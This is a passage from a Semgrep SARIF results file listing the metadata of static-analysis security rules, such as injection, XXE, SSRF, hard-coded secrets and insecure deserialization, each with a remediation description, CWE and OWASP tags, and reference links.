value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.insecure-random.insecure-random","id":"scala.lang.security.audit.insecure-random.insecure-random","name":"scala.lang.security.audit.insecure-random.insecure-random","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.insecure-random.insecure-random"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","id":"swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","name":"swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","id":"go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","name":"go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongodb-where-express.mongodb-where-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)\n - [https://portswigger.net/web-security/nosql-injection](https://portswigger.net/web-security/nosql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongodb-where-express.mongodb-where-express","id":"javascript.express.db.mongodb-where-express.mongodb-where-express","name":"javascript.express.db.mongodb-where-express.mongodb-where-express","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongodb-where-express.mongodb-where-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme."},"help":{"markdown":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.filepath-clean-misuse.filepath-clean-misuse)\n - [https://pkg.go.dev/path#Clean](https://pkg.go.dev/path#Clean)\n - [http://technosophos.com/2016/03/31/go-quickly-cleaning-filepaths.html](http://technosophos.com/2016/03/31/go-quickly-cleaning-filepaths.html)\n - [https://labs.detectify.com/2021/12/15/zero-day-path-traversal-grafana/](https://labs.detectify.com/2021/12/15/zero-day-path-traversal-grafana/)\n - [https://dzx.cz/2021/04/02/go_path_traversal/](https://dzx.cz/2021/04/02/go_path_traversal/)\n - [https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme](https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme)\n","text":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme."},"helpUri":"https://semgrep.dev/r/go.lang.security.filepath-clean-misuse.filepath-clean-misuse","id":"go.lang.security.filepath-clean-misuse.filepath-clean-misuse","name":"go.lang.security.filepath-clean-misuse.filepath-clean-misuse","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.filepath-clean-misuse.filepath-clean-misuse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","id":"python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","name":"python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-empty-password.python-redis-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-empty-password.python-redis-empty-password","id":"python.redis.python-redis-empty-password.python-redis-empty-password","name":"python.redis.python-redis-empty-password.python-redis-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-empty-password.python-redis-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","id":"cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","name":"cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL."},"help":{"markdown":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.null-deref.null-library-function.null-library-function)\n - [https://wiki.sei.cmu.edu/confluence/display/c/EXP34-C.+Do+not+dereference+null+pointers](https://wiki.sei.cmu.edu/confluence/display/c/EXP34-C.+Do+not+dereference+null+pointers)\n","text":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.null-deref.null-library-function.null-library-function","id":"cpp.lang.security.memory.null-deref.null-library-function.null-library-function","name":"cpp.lang.security.memory.null-deref.null-library-function.null-library-function","properties":{"precision":"very-high","tags":["CWE-476: NULL Pointer Dereference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.null-deref.null-library-function.null-library-function"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html."},"help":{"markdown":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.mass-assignment.mass-assignment)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n","text":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.mass-assignment.mass-assignment","id":"python.django.security.injection.mass-assignment.mass-assignment","name":"python.django.security.injection.mass-assignment.mass-assignment","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.mass-assignment.mass-assignment"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE"},"help":{"markdown":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges)\n - [https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/data/aws/AdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/data/aws/AdminPolicyDocument.py)\n","text":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","id":"terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","name":"terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.ssrf-requests.ssrf-requests)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.ssrf-requests.ssrf-requests","id":"python.flask.security.injection.ssrf-requests.ssrf-requests","name":"python.flask.security.injection.ssrf-requests.ssrf-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.ssrf-requests.ssrf-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","id":"kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","name":"kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None."},"help":{"markdown":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization)\n - [https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm#remarks](https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm#remarks)\n","text":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","id":"csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","name":"csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","id":"python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","name":"python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://cwe.mitre.org/data/definitions/93.html](https://cwe.mitre.org/data/definitions/93.html)\n - [https://owasp.org/www-community/attacks/Log_Injection](https://owasp.org/www-community/attacks/Log_Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","id":"java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","name":"java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure"},"help":{"markdown":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8#security](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8#security)\n","text":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","id":"csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","name":"csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep 